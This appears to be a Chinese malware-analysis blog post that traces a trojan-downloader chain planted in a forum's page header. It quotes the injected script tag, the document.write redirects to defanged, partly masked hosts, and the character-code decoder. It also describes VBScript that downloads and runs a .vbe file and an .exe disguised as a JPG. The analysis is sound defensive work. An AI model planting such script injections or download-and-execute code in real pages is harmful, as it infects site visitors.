某论坛上挂的东东,JPG图片 or 病毒Trojan.Win32.VB.azc?

简介: 某论坛上挂的东东,JPG图片 or 病毒Trojan.Win32.VB.azc?

前几天,打开某论坛时,Kaspersky报告:已检测 木马程序 Trojan-Downloader.HTML.Agent.df

检查网页发现首部被植入代码:

/---
<script language="javascript" src="hxxp://61.146.118.1*1/news***/include/md5.asp?ad=1"></script>
---/

hxxp://61.146.118.1*1/news***/include/md5.asp?ad=1 的内容为:

/---
document.write("<script language=/"javascript/" src=/"");
document.write("hxxp://www.ha**v**eip.com/d**a.asp/">");
document.write("</script>");
---/

hxxp://www.ha**v**eip.com/d**a.asp 包含代码:

/---
var ad_str="<script language=/"javascript/" src=/"hxxp://www.blogchina.com/resource/upload***/pic***/2006/05/05/wpt**8.js/"><//script>"
SetCookie("my_ad","yes",3600,"/");document.write(ad_str);}
//-->

hxxp://www.blogchina.com/resource/upload***/pic***/2006/05/05/wpt**8.js 包含JavaScript脚本代码,功能是输出VBScript脚本代码。

输出的VBScript脚本代码的功能是使用自定义解密函数

/---
function r(k)
s=Split(k,"@")
t=""
For i_ = 0 To UBound(s)
t=t+Chr(eval(s(i_)))
Next
r=t
End Function
---/

解密并输出变量t的值。

解密后的变量t的值为 VBScript脚本,功能是利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件wpt8.vbe,保存为 IE临时文件夹下的webpnt.vbe,然后通过 Shell.Application 对象 Q 的 ShellExecute 方法 来运行。

wpt8.vbe 的内容为VBScript脚本,功能是是使用自定义解密函数

/---
function r(k)
s=Split(k,"@")
t=""
For i_ = 0 To UBound(s)
t=t+Chr(eval(s(i_)))
Next
r=t
End Function
---/

解密并执行变量t的值。

解密后的变量t的值为VBScript脚本,功能是利用 Microsoft.XMLHTTP、ADODB.Stream 和 scrīpting.FileSystemObject 下载文件hxxp://11***8.img**.pp**.sohu.com/images/2007/5/11/1***0/24/11***31**1048215.jpg,保存为 IE临时文件夹下的 webpnt.exe,然后通过 Shell.Run 来运行。


相关文章
|
关系型数据库 MySQL API
|
10月前
|
数据采集 人工智能 搜索推荐
SocraticLM:通过 AI 提问引导学生主动思考,中科大与科大讯飞联合推出苏格拉底式教育大模型
SocraticLM 是由中科大和科大讯飞联合开发的苏格拉底式教学大模型,通过提问引导学生主动思考,提供个性化教学,显著提升教学效果。
641 9
SocraticLM:通过 AI 提问引导学生主动思考,中科大与科大讯飞联合推出苏格拉底式教育大模型
|
8月前
|
人工智能 负载均衡 并行计算
阿里云工程师带你独家揭秘:DeepSeek-V3 为何能用 5% 算力对标 GPT-4o?
阿里云工程师带你独家揭秘:DeepSeek-V3 为何能用 5% 算力对标 GPT-4o?
204 0
|
架构师 数据挖掘 开发者
架构师的真内核
本文旨在帮助大家深入理解技术、架构和团队领导力的本质,从而获得持续成长的方法。欢迎在文末留言,你觉得架构师需要具备的核心能力是什么?
572 104
|
机器学习/深度学习 人工智能 算法
人工智能在艺术创作中的创新应用:机器创作的未来
【9月更文挑战第25天】 人工智能在艺术创作中的创新应用,不仅为艺术家们提供了全新的创作工具和媒介,更在创作理念、艺术形态等方面带来了深刻的变革。随着技术的不断发展和完善,机器创作将在未来展现出更加广阔的发展前景。我们期待在人工智能的助力下,艺术创作能够迎来更加繁荣和多元的未来。
|
11月前
|
网络协议 API
检测指定TCP端口开放状态免费API接口教程
此API用于检测指定TCP端口是否开放,支持POST/GET请求。需提供用户ID、KEY、目标主机,可选指定端口(默认80)和地区(默认国内)。返回状态码、信息提示、检测主机、端口及状态(开放或关闭)。示例中ID和KEY为公共测试用,建议使用个人ID和KEY以享受更高调用频率。
237 14
|
移动开发 安全 API
微信H5支付--微信JS-SDK支付--点金计划
本文详细介绍了微信H5支付和JS-SDK支付的原理、配置和开发流程,涵盖了H5支付在移动端浏览器外唤起微信支付的细节,以及JS-SDK支付在微信内置浏览器中完成支付的相关注意事项。文章还针对微信支付常见问题,提供了解决方案和代码示例。最后,文章深入解析了微信支付点金计划,包括商家小票的自定义开发、API接口以及支付成功后的页面展示逻辑,为开发者提供了完整的开发参考。
867 0
微信H5支付--微信JS-SDK支付--点金计划
|
存储 监控 Linux
如何在 CentOS 7 中进行磁盘分区和挂载,帮助读者掌握这一技能。
【10月更文挑战第9天】随着业务扩展和技术进步,服务器硬盘容量需求不断增加。本文通过具体案例,详细介绍如何在 CentOS 7 中进行磁盘分区和挂载,帮助读者掌握这一技能。假设有一台 CentOS 7 服务器,配备了一块 1TB 的未分配硬盘,我们将这块硬盘分成两个分区,分别用于存储日志文件和用户上传的文件。文章详细介绍了如何使用 `fdisk` 和 `mkfs` 命令进行分区和格式化,以及如何创建挂载点并永久挂载分区。此外,还提供了实践经验和注意事项,确保操作的安全性和有效性。
236 1
|
JavaScript 前端开发 Shell
mac和windows上安装nvm管理node版本
NVM(Node Version Manager)是前端开发者常用的命令行工具,用于管理计算机上的不同Node.js版本。通过NVM,开发者可以轻松地在多个项目间切换所需的Node.js版本。在Mac上,可以通过cURL或Wget下载安装脚本,或使用包管理工具brew安装。安装后需配置环境变量以识别NVM命令。Windows用户则可通过专用的nvm-windows安装程序完成安装。常用命令包括安装、卸载特定版本、列出已安装版本等。